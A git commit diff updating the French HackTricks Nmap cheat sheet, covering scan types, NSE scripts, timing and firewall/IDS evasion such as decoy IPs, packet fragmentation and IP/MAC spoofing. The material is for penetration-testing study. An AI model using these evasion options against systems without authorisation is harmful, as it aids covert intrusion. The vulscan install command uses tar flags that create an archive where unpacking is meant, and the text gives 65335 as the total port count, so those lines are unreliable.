Translated ['generic-methodologies-and-resources/pentesting-network/nmap

2024-11-22 20:53:37 +00:00 · 2023-08-24 09:56:39 +00:00 · 2023-08-24 09:56:39 +00:00 · 4ca1078515
commit 4ca1078515
parent 8ff0f210fd
10 changed files with 1065 additions and 466 deletions
--- a/SUMMARY.md
+++ b/SUMMARY.md
@ -538,7 +538,8 @@
 * [CRLF (%0D%0A) Injection](pentesting-web/crlf-0d-0a.md)
 * [Cross-site WebSocket hijacking (CSWSH)](pentesting-web/cross-site-websocket-hijacking-cswsh.md)
 * [CSRF (Cross Site Request Forgery)](pentesting-web/csrf-cross-site-request-forgery.md)
-* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection.md)
+* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection/README.md)
  * [SS-Leaks](pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md)
 * [Dependency Confusion](pentesting-web/dependency-confusion.md)
 * [Deserialization](pentesting-web/deserialization/README.md)
  * [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md)
--- a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md
+++ b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md
@ -1,103 +1,222 @@
 # Résumé de Nmap (ESP)
 <details>
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
-
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
 - **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
 </details>
-```text
+```
 nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
 ```
-**-iL** lista\_IPs
+## Paramètres
-**-iR** numero --&gt; Nombre d'IPs aléatoires, les IP possibles peuvent être exclues avec **--exclude &lt;Ips&gt;** ou **--excludefile &lt;fichier&gt;**
+### Adresses IP à scanner
-**Découverte d'équipements:**
+* **`<ip>,<net/mask>`:** Indique les adresses IP directement.
 * **`-iL <ips_file>`:** liste_IPs
 * **`-iR <number>`**: Nombre d'adresses IP aléatoires, vous pouvez exclure les adresses IP possibles avec `--exclude <Ips>` ou `--excludefile <file>`.
-Nous pouvons utiliser des masques/24
+### Découverte de l'équipement
-**-sL**: Non invasif, liste les cibles en effectuant des requêtes DNS pour résoudre les noms. Utile pour savoir si, par exemple, www.prueba.es/24 toutes les IPs sont nos cibles.
+Par défaut, Nmap lance une phase de découverte composée de : `-PA80 -PS443 -PE -PP`
-Par défaut, Nmap lance une phase de découverte qui comprend: -PA80 -PS443 -PE -PP
+* **`-sL`**: Non invasif, il liste les cibles en effectuant des requêtes **DNS** pour résoudre les noms. Il est utile pour savoir, par exemple, si toutes les adresses IP de www.prueba.es/24 sont nos cibles.
 * **`-Pn`**: **Pas de ping**. C'est utile si vous savez qu'elles sont toutes actives (sinon, vous pourriez perdre beaucoup de temps), mais cette option produit également des faux négatifs en indiquant qu'elles ne sont pas actives. Elle empêche la phase de découverte.
 * **`-sn`** : **Pas de scan de port**. Après avoir terminé la phase de reconnaissance, il ne scanne pas les ports. Il est relativement discret et permet un petit scan réseau. Avec des privilèges, il envoie un ACK (-PA) à 80, un SYN(-PS) à 443, une demande d'écho et une demande de timestamp. Sans privilèges, il termine toujours les connexions. Si la cible est le réseau, il utilise uniquement ARP(-PR). S'il est utilisé avec une autre option, seuls les paquets de l'autre option sont abandonnés.
 * **`-PR`**: **Ping ARP**. Il est utilisé par défaut lors de l'analyse des ordinateurs de notre réseau, il est plus rapide que l'utilisation de pings. Si vous ne voulez pas utiliser les paquets ARP, utilisez `--send-ip`.
 * **`-PS <ports>`**: Il envoie des paquets SYN auxquels il répond SYN/ACK s'ils sont ouverts (auxquels il répond avec RST pour ne pas terminer la connexion), s'il répond RST, ils sont fermés et s'il ne répond pas, ils sont injoignables. En cas de manque de privilèges, une connexion totale est automatiquement utilisée. S'il n'y a pas de ports donnés, il les envoie à 80.
 * **`-PA <ports>`**: Comme le précédent, mais avec ACK, la combinaison des deux donne de meilleurs résultats.
 * **`-PU <ports>`**: L'objectif est inverse, ils sont envoyés à des ports qui sont censés être fermés. Certains pare-feu ne vérifient que les connexions TCP. S'il est fermé, il répond avec un port injoignable, s'il répond avec un autre ICMP ou s'il ne répond pas, il est considéré comme injoignable.
 * **`-PE, -PP, -PM`** : PINGS ICMP : réponse d'écho, timestamp et masque d'adresse. Ils sont lancés pour savoir si la cible est active.
 * **`-PY<ports>`**: Envoie des sondes SCTP INIT à 80 par défaut, peut répondre avec INIT-ACK (ouvert) ou ABORT (fermé) ou rien ou ICMP injoignable (inactif).
 * **`-PO <protocols>`**: Un protocole est indiqué dans les en-têtes, par défaut 1 (ICMP), 2 (IGMP) et 4 (Encap IP). Pour les protocoles ICMP, IGMP, TCP (6) et UDP (17), les en-têtes de protocole sont envoyés, pour les autres, seul l'en-tête IP est envoyé. Le but de cela est que, en raison de la malformation des en-têtes, une réponse de protocole injoignable ou des réponses du même protocole sont renvoyées pour savoir s'il est actif.
 * **`-n`**: Pas de DNS
 * **`-R`**: Toujours DNS
-**-Pn** No ping --&gt; utile **si on sait que tous sont actifs** \(sinon, on pourrait perd
+### Techniques de scan de port
 **-f** Pour fragmenter les paquets, par défaut, ils sont fragmentés en 8 octets après l'en-tête. Pour spécifier cette taille, nous utilisons ..mtu (sans utiliser -f), l'offset doit être un multiple de 8. Les scanners de version et les scripts ne prennent pas en charge la fragmentation.
-**-D decoy1,decoy2,ME** Nmap envoie des scanners mais avec d'autres adresses IP d'origine, de cette façon, ils vous cachent. Si vous mettez ME dans la liste, nmap vous y placera, il est préférable de mettre 5 ou 6 avant vous pour vous masquer complètement. Des adresses IP aléatoires peuvent être générées avec RND:&lt;numero&gt; pour générer &lt;numero&gt; adresses IP aléatoires. Ils ne fonctionnent pas avec les détecteurs de versions sans connexion TCP. Si vous êtes dans un réseau, vous devez utiliser des adresses IP qui sont actives, sinon il sera très facile de découvrir que vous êtes la seule active.
+* **`-sS`**: Ne termine pas la connexion, donc ne laisse aucune trace, très bon si cela peut être utilisé (privilèges). C'est celui utilisé par défaut.
 * **`-sT`**: Termine la connexion, donc laisse une trace, mais peut être utilisé en toute sécurité. Par défaut sans privilèges.
 * **`-sU`**: Plus lent, pour l'UDP. Principalement : DNS(53), SNMP(161,162), DHCP(67 et 68), (-sU53,161,162,67,68) : ouvert(réponse), fermé(port injoignable), filtré (autre ICMP), ouvert/filtré (rien). En cas d'ouvert/filtré, -sV envoie de nombreuses requêtes pour détecter l'une des versions prises en charge par nmap et peut détecter le véritable état. Cela augmente considérablement le temps.
 * **`-sY`**: Le protocole SCTP échoue à établir la connexion, donc il n'y a pas de journaux, fonctionne comme -PY.
 * **`-sN,-sX,-sF`:** Null, Fin, Xmas, ils peuvent pénétrer certains pare-feu et extraire des informations. Ils sont basés sur le fait que les machines conformes aux normes doivent répondre avec RST à toutes les demandes qui n'ont pas de drapeaux SYN, RST ou ACK levés : ouvert/filtré(rien), fermé(RST), filtré (ICMP injoignable). Peu fiable sur Windows, Cisco, BSDI et OS/400. Sur Unix, oui.
 * **`-sM`**: Scan Maimon : Envoie des drapeaux FIN et ACK, utilisé pour BSD, actuellement renvoie tout comme fermé.
 * **`-sA, sW`**: ACK et Window, est utilisé pour détecter les pare-feu, pour savoir si les ports sont filtrés ou non. Le -sW fait la distinction entre ouvert/fermé car les ouverts répondent avec une valeur de fenêtre différente : ouvert (RST avec une fenêtre autre que 0), fermé (RST fenêtre = 0), filtré (ICMP injoignable ou rien). Tous les ordinateurs ne fonctionnent pas de cette manière, donc s'ils sont tous fermés, cela ne fonctionne pas, s'il y en a quelques-uns d'ouverts, cela fonctionne bien, et s'il y en a beaucoup d'ouverts et peu de fermés, cela fonctionne dans l'autre sens.
 * **`-sI`:** Scan en veille. Pour les cas où il y a un pare-feu actif mais nous savons qu'il ne filtre pas vers une certaine adresse IP (ou lorsque nous voulons simplement l'anonymat), nous pouvons utiliser le scanner zombie (il fonctionne pour tous les ports) pour rechercher d'éventuels zombies, nous pouvons utiliser le script ipidseq ou l'exploit auxiliary/scanner/ip/ipidseq. Ce scanner est basé sur le numéro IPID des paquets IP.
 * **`--badsum`:** Il envoie la somme incorrecte, les ordinateurs rejetteraient les paquets, mais les pare-feu pourraient répondre quelque chose, il est utilisé pour détecter les pare-feu.
 * **`-sZ`:** Scanner SCTP "bizarre", lors de l'envoi de sondes avec des fragments d'écho de cookie, ils devraient être abandonnés s'ils sont ouverts ou répondus avec ABORT s'ils sont fermés. Il peut passer à travers les pare-feu que l'init ne peut pas traverser, le problème est qu'il ne fait pas la distinction entre filtré et ouvert.
 * **`-sO`:** Scan de protocole IP. Envoie des en-têtes incorrects et vides dans lesquels parfois même le protocole ne peut pas être distingué. Si un protocole injoignable ICMP arrive, il est fermé, si un port injoignable arrive, il est ouvert, si une autre erreur arrive, il est filtré, s'il n'y a rien, il est ouvert|filtré.
 * **`-b <server>`:** FTPhost--> Il est utilisé pour scanner un hôte à partir d'un autre, cela se fait en se connectant au FTP d'une autre machine et en lui demandant d'envoyer des fichiers aux ports que vous souhaitez scanner à partir d'une autre machine, en fonction des réponses, nous saurons s'ils sont ouverts ou non. \[\<user>:\<password>@]\<server>\[:\<port>] Presque tous les serveurs FTP ne vous permettent plus de le faire et donc cela a peu d'utilité pratique.
 ### **Analyse ciblée**
-Pour utiliser des adresses IP aléatoires: nmap-D RND: 10 Ip\_objetivo
+**-p:** Utilisé pour spécifier les ports à scanner. Pour sélectionner les 65335: **-p-** ou **-p all**. Nmap a une classification interne en fonction de leur popularité. Par défaut, il utilise les 1000 principaux ports. Avec **-F** (scan rapide), il analyse les 100 principaux ports. Avec **--top-ports \<nombre>**, il analyse ce nombre de ports principaux (de 1 à 65335). Il vérifie les ports dans un ordre aléatoire pour éviter cela **-r**. Nous pouvons également sélectionner des ports: 20-30,80,443,1024- Cela signifie qu'il regarde à partir de 1024. Nous pouvons également regrouper les ports par protocoles: U:53,T:21-25,80,139,S:9. Nous pouvons également choisir une plage parmi les ports populaires de nmap: -p \[-1024] analyse jusqu'à 1024 des ports inclus dans nmap-services. **--port-ratio \<ratio>** Analyse les ports les plus courants selon un ratio qui doit être compris entre 0 et 1.
-**-S IP** Lorsque Nmap ne détecte pas votre adresse IP, vous devez la lui donner avec cela. Cela sert également à faire croire qu'il y a une autre cible qui les scanne.
+**-sV** Scan de version, l'intensité peut être réglée de 0 à 9, par défaut 7.
-**-e &lt;interface&gt;** Pour choisir l'interface
+**--version-intensity \<nombre>** Régule l'intensité, de sorte que plus elle est basse, seules les sondes les plus probables sont lancées, mais pas toutes. Cela permet de réduire considérablement le temps de scan UDP.
-De nombreux administrateurs laissent des ports d'entrée ouverts pour que tout fonctionne correctement et qu'il leur soit plus facile de trouver une autre solution. Ceux-ci peuvent être les ports DNS ou FTP... pour rechercher cette vulnérabilité, nmap intègre: **--source-port** _**&lt;portnumber&gt;**_**;-g** _**&lt;portnumber&gt;**_ _Sont équivalents_
+**-O** Détection de l'OS.
-**--data** _**&lt;hex string&gt;**_ Pour envoyer du texte hexadécimal: --data 0xdeadbeef et --data \xCA\xFE\x09
+**--osscan-limit** Pour scanner correctement un hôte, il faut au moins un port ouvert et un port fermé. Si cette condition n'est pas remplie et que nous avons activé cela, il n'essaie pas de prédire l'OS (gain de temps).
-**--data-string** _**&lt;string&gt;**_ Pour envoyer un texte normal: --data-string "Scan conducted by Security Ops, extension 7192"
+**--osscan-guess** Lorsque la détection de l'OS n'est pas parfaite, cela lui fait faire plus d'efforts.
-**--data-length** _**&lt;number&gt;**_ Nmap envoie uniquement des en-têtes, avec cela, nous parvenons à ajouter un certain nombre d'octets de plus (qui seront générés de manière aléatoire)
+**Scripts**
 \--script _\<nom_fichier>_|_\<catégorie>_|_\<répertoire>_|_\<expression>_\[,...]
 Pour utiliser les scripts par défaut, il suffit de mettre -sC ou --script=default.
 Les types disponibles sont : auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version et vuln.
 * **Auth:** exécute tous les scripts disponibles pour l'authentification.
 * **Default:** exécute les scripts de base par défaut de l'outil.
 * **Discovery:** récupère des informations sur la cible ou la victime.
 * **External:** script utilisant des ressources externes.
 * **Intrusive:** utilise des scripts considérés comme intrusifs pour la victime ou la cible.
 * **Malware:** vérifie s'il y a des connexions ouvertes par des codes malveillants ou des portes dérobées.
 * **Safe:** exécute des scripts qui ne sont pas intrusifs.
 * **Vuln:** découvre les vulnérabilités les plus connues.
 * **All:** exécute tous les scripts NSE disponibles.
 Pour rechercher des scripts :
 **nmap --script-help="http-\*" -> Ceux qui commencent par http-**
 **nmap --script-help="not intrusive" -> Tous sauf ceux-là**
 **nmap --script-help="default or safe" -> Ceux qui sont dans l'un ou l'autre ou les deux**
 **nmap --script-help="default and safe" --> Ceux qui sont dans les deux**
 **nmap --script-help="(default or safe or intrusive) and not http-\*"**
 \--script-args _\<n1>_=_\<v1>_,_\<n2>_={_\<n3>_=_\<v3>_},_\<n4>_={_\<v4>_,_\<v5>_}
 \--script-args-file _\<nom_fichier>_
 \--script-help _\<nom_fichier>_|_\<catégorie>_|_\<répertoire>_|_\<expression>_|all\[,...]
 \--script-trace ---> Fournit des informations sur l'exécution du script.
 \--script-updatedb
 **Pour utiliser un script, il suffit de taper : nmap --script Nom_du_script cible** --> En spécifiant le script, le script et le scanner seront exécutés, vous pouvez donc également spécifier des options du scanner. Nous pouvons ajouter **"safe=1"** pour n'exécuter que les scripts considérés comme sûrs.
 **Contrôle du temps**
 **Nmap peut modifier le temps en secondes, minutes, ms :** --host-timeout arguments 900000ms, 900, 900s et 15m font tous la même chose.
 Nmap divise le nombre total d'hôtes à scanner en groupes et analyse ces groupes par blocs, de sorte qu'il ne passe pas au bloc suivant tant que tous les hôtes n'ont pas été analysés (et l'utilisateur ne reçoit aucune mise à jour tant que le bloc n'a pas été analysé). De cette manière, il est plus efficace pour nmap d'utiliser de grands groupes. Par défaut, en classe C, il utilise 256.
 Cela peut être modifié avec **--min-hostgroup** _**\<nombre_hôtes>**_**;** **--max-hostgroup** _**\<nombre_hôtes>**_ (Ajuste les tailles des groupes de scan parallèle).
 Le nombre de scanners parallèles peut être contrôlé, mais il est préférable de ne pas le faire (nmap intègre déjà un contrôle automatique en fonction de l'état du réseau) : **--min-parallelism** _**\<nombre_sondes>**_**;** **--max-parallelism** _**\<nombre_sondes>**_
 Nous pouvons modifier le délai d'attente rtt, mais cela n'est généralement pas nécessaire : **--min-rtt-timeout** _**\<temps>**_**,** **--max-rtt-timeout** _**\<temps>**_**,** **--initial-rtt-timeout** _**\<temps>**_
 Nous pouvons modifier le nombre de tentatives : **--max-retries** _**\<nombre_essais>**_
 Nous pouvons modifier le temps de scan d'un hôte : **--host-timeout** _**\<temps>**_
 Nous pouvons modifier le délai entre chaque test pour ralentir le processus : **--scan-delay** _**\<temps>**_**;** **--max-scan-delay** _**\<temps>**_
 Nous pouvons modifier le nombre de paquets par seconde : **--min-rate** _**\<nombre>**_**;** **--max-rate** _**\<nombre>**_
 De nombreux ports mettent du temps à répondre lorsqu'ils sont filtrés ou fermés, si nous ne nous intéressons qu'aux ports ouverts, nous pouvons aller plus vite avec : **--defeat-rst-ratelimit**
 Pour définir l'agressivité de nmap : -T paranoid|sneaky|polite|normal|aggressive|insane
 \-T (0-1)
 \-T0 --> Un seul port est scanné à la fois et il attend 5 minutes avant le suivant.
 \-T1 et T2 --> Très similaires mais n'attendent que 15 et 0,4 secondes respectivement entre chaque test.
 \-T3 --> Fonctionnement par défaut, inclut en parallèle.
 \-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
 \-T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms
 **Firewall/IDS**
 Ils bloquent les ports et analysent les paquets.
 **-f** Pour fragmenter les paquets, par défaut, ils sont fragmentés en 8 octets après l'en-tête. Pour spécifier cette taille, nous utilisons ..mtu (avec cela, n'utilisez pas -f), le décalage doit être un multiple de 8. Les scanners de version et les scripts ne prennent pas en charge la fragmentation.
 **-D decoy1,decoy2,ME** Nmap envoie des scanners mais avec d'autres adresses IP comme origine, de cette façon, ils vous cachent. Si vous mettez ME dans la liste, nmap vous placera là-bas, il vaut mieux mettre 5 ou 6 avant vous pour vous masquer complètement. Vous pouvez générer des adresses IP aléatoires avec RND:\<nombre> pour générer \<nombre> d'adresses IP aléatoires. Ils ne fonctionnent pas avec la détection de versions hors connexion TCP. Si vous êtes dans un réseau, il est préférable d'utiliser des adresses IP qui sont actives, sinon il sera très facile de découvrir que vous êtes le seul actif.
 Pour utiliser des adresses IP aléatoires : nmap -D RND:10 Ip_cible
 **-S IP** Lorsque Nmap ne détecte pas votre adresse IP, vous devez la spécifier avec cela. Cela sert également à faire croire qu'il y a une autre cible qui les scanne.
 **-e \<interface>** Pour choisir l'interface
 De nombreux administrateurs laissent des ports d'entrée ouverts pour que tout fonctionne correctement et il leur est plus facile de trouver une autre solution. Ceux-ci peuvent être les ports DNS ou FTP... pour rechercher cette vulnérabilité, nmap inclut : **--source-port** _**\<numéro_de_port>**_**;-g** _**\<numéro_de_port>**_ _Ce sont des équivalents_
 **--data** _**\<chaîne_hexadécimale>**_ Pour envoyer du texte hexadécimal : --data 0xdeadbeef et --data \xCA\xFE\x09
 **--data-string** _**\<chaîne>**_ Pour envoyer un texte normal : --data-string "Scan réalisé par Security Ops, extension 7192"
 **--data-length** _**\<nombre>**_ Nmap envoie uniquement les en-têtes, avec cela, nous faisons en sorte qu'il ajoute un certain nombre d'octets de plus (qui seront générés de manière aléatoire)
 Pour configurer complètement le paquet IP, utilisez **--ip-options**
-Si vous souhaitez voir les options dans les paquets envoyés et reçus, spécifiez --packet-trace. Pour plus d'informations et d'exemples d'utilisation des options IP avec Nmap, voir [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
+Si vous souhaitez voir les options dans les paquets envoyés et reçus, spécifiez --packet-trace. Pour plus d'informations et d'exemples sur l'utilisation des options IP avec Nmap, consultez [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
-**--ttl** _**&lt;value&gt;**_
+**--ttl** _**\<valeur>**_
-**--randomize-hosts** Pour que l'attaque soit moins évidente
+**--randomize-hosts** Pour rendre l'attaque moins évidente
-**--spoof-mac** _**&lt;MAC address, prefix, or vendor name&gt;**_ Pour changer la MAC, exemples: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, et Cisco
+**--spoof-mac** _**\<adresse_MAC, préfixe ou nom du fournisseur>**_ Pour changer l'adresse MAC, exemples : Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2 et Cisco
-**--proxies** _**&lt;Comma-separated list of proxy URLs&gt;**_ Pour utiliser des proxys, parfois un proxy ne maintient pas autant de connexions ouvertes que nmap le souhaite, il faudrait donc modifier la parallélisme: --max-parallelism
+**--proxies** _**\<liste_séparée_par_des_virgules_d'URL_de_proxy>**_ Pour utiliser des proxies, parfois un proxy ne maintient pas autant de connexions ouvertes que nmap le souhaite, il faudrait donc modifier la parallélisme : --max-parallelism
-**-sP** Pour découvrir les hôtes sur le réseau sur lequel nous sommes par ARP
+**-sP** Pour découvrir les hôtes sur le réseau via ARP
-De nombreux administrateurs créent une règle dans le pare-feu qui permet de passer tous les paquets provenant d'un port particulier (comme le 20,53 et 67), nous pouvons dire à nmap d'envoyer nos paquets depuis ces ports: **nmap --source-port 53 Ip**
+De nombreux administrateurs créent une règle dans le pare-feu qui permet de faire passer tous les paquets provenant d'un port particulier (comme le 20, 53 et 67), nous pouvons dire à nmap d'envoyer nos paquets depuis ces ports : **nmap --source-port 53 Ip**
 **Sorties**
-**-oN file** Sortie normale
+**-oN fichier** Sortie normale
-**-oX file** Sortie XML
+**-oX fichier** Sortie XML
-**-oS file** Sortie pour les script kiddies
+**-oS fichier** Sortie pour les script kiddies
-**-oG file** Sortie grepable
+**-oG fichier** Sortie au format grepable
-**-oA file** Tous sauf -oS
+**-oA fichier** Toutes sauf -oS
-**-v level** Verbosité
+**-v niveau** verbosité
-**-d level** Débogage
+**-d niveau** débogage
-**--reason** Pourquoi de l'hôte et de l'état
+**--reason** Raison de l'hôte et de l'état
-**--stats-every time** Toutes les fois qu'il nous dit comment ça va
+**--stats-every temps** Toutes les X secondes, il nous indique l'état d'avancement
-**--packet-trace** Pour voir quels paquets sortent, des filtres peuvent être spécifiés tels que: --version-trace ou --script-trace
+**--packet-trace** Pour voir les paquets sortants, des filtres peuvent être spécifiés tels que : --version-trace ou --script-trace
-**--open** montre les ouverts, ouverts\|filtrés et les non filtrés
+**--open** affiche les ports ouverts, ouverts|filtrés et non filtrés
-**--resume file** Fait un résumé
+**--resume fichier** Génère un résumé
 **Divers**
-**-6** Permet ipv6
+**-6** Permet l'IPv6
-**-A** est la même chose que -O -sV -sC --traceroute
+**-A** équivaut à -O -sV -sC --traceroute
 **Temps d'exécution**
-Pendant que nmap s'exécute, nous pouvons changer les options:
+Pendant l'exécution de nmap, nous pouvons modifier les options :
 v / V Augmenter / diminuer le niveau de verbosité
@ -105,41 +224,50 @@ d / D Augmenter / diminuer le niveau de débogage
 p / P Activer / désactiver la trace des paquets
-? Imprimer un écran d'aide à l'interaction en temps d'exécution
+? Afficher une aide interactive en cours d'exécution
 **Vulscan**
-Script de nmap qui regarde les versions des services obtenus dans une base de données hors ligne (téléchargée à partir d'autres bases de données très importantes) et renvoie les vulnérabilités possibles.
+Script de nmap qui vérifie les versions des services obtenues dans une base de données hors ligne (téléchargée à partir d'autres bases de données très importantes) et renvoie les vulnérabilités possibles.
-Les bases de données qu'il utilise sont:
+Les bases de données utilisées sont :
-1. Scipvuldb.csv \| [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
+1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
-2. Cve.csv \| [http://cve.mitre.org](http://cve.mitre.org/)
+2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
-3. Osvdb.csv \| [http://www.osvdb.org](http://www.osvdb.org/)
+3. Osvdb.csv | [http://www.osvdb.org](http://www.osvdb.org/)
-4. Securityfocus.csv \| [http://www.securityfocus.com/bid/](http://www.securityfocus.com/bid/)
+4. Securityfocus.csv | [http://www.securityfocus.com/bid/](http://www.securityfocus.com/bid/)
-5. Securitytracker.csv \| [http://www.securitytracker.com](http://www.securitytracker.com/)
+5. Securitytracker.csv | [http://www.securitytracker.com](http://www.securitytracker.com/)
-6. Xforce.csv \| [http://xforce.iss.net](http://xforce.iss.net/)
+6. Xforce.csv | [http://xforce.iss.net](http://xforce.iss.net/)
-7. Exploitdb.csv \| [http://www.exploit-db.com](http://www.exploit-db.com/)
+7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/)
-8. Openvas.csv \| [http://www.openvas.org](http://www.openvas.org/)
+8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/)
-Pour le télécharger et l'installer dans le dossier Nmap:
+Pour le télécharger et l'installer dans le dossier de Nmap :
 wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
 Il faudrait également télécharger les packages des bases de données et les ajouter à /usr/share/nmap/scripts/vulscan/
-Utilisation:
+Utilisation :
-Pour tout utiliser: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR
+Pour utiliser tous les scripts : sudo nmap -sV --script=vulscan HOST_A_ANALYSER
-Pour utiliser une base de données spécifique: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
+Pour utiliser une base de données spécifique : sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST_A_ANALYSER
 ## Accélérer l'analyse des services Nmap x16
 Selon [**cet article**](https://joshua.hu/nmap-speedup-service-scanning-16x), vous pouvez accélérer l'analyse des services Nmap en modifiant toutes les valeurs **`totalwaitms`** dans le fichier **`/usr/share/nmap/nmap-service-probes`** à **300** et **`tcpwrappedms`** à **200**.
 De plus, les sondes qui n'ont pas de valeur **`servicewaitms`** spécifiquement définie utilisent une valeur par défaut de **`5000`**. Par conséquent, nous pouvons soit ajouter des valeurs à chacune des sondes, soit **compiler Nmap** nous-mêmes et changer la valeur par défaut dans [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
 Si vous ne souhaitez pas du tout modifier les valeurs de **`totalwaitms`** et **`tcpwrappedms`** dans le fichier `/usr/share/nmap/nmap-service-probes`, vous pouvez modifier le [code d'analyse](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) de manière à ce que ces valeurs dans le fichier `nmap-service-probes` soient complètement ignorées.
 <details>
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
- Découvrez [**The PEASS
+</details>
--- a/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/pentesting-web/content-security-policy-csp-bypass/README.md
@ -22,7 +22,7 @@ Les primes HackenProof ne sont lancées que lorsque les clients déposent le bud
 **Acquérez de l'expérience en pentesting web3**\
 Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
-**Devenez la légende du hacker web3**\
+**Devenez une légende du piratage web3**\
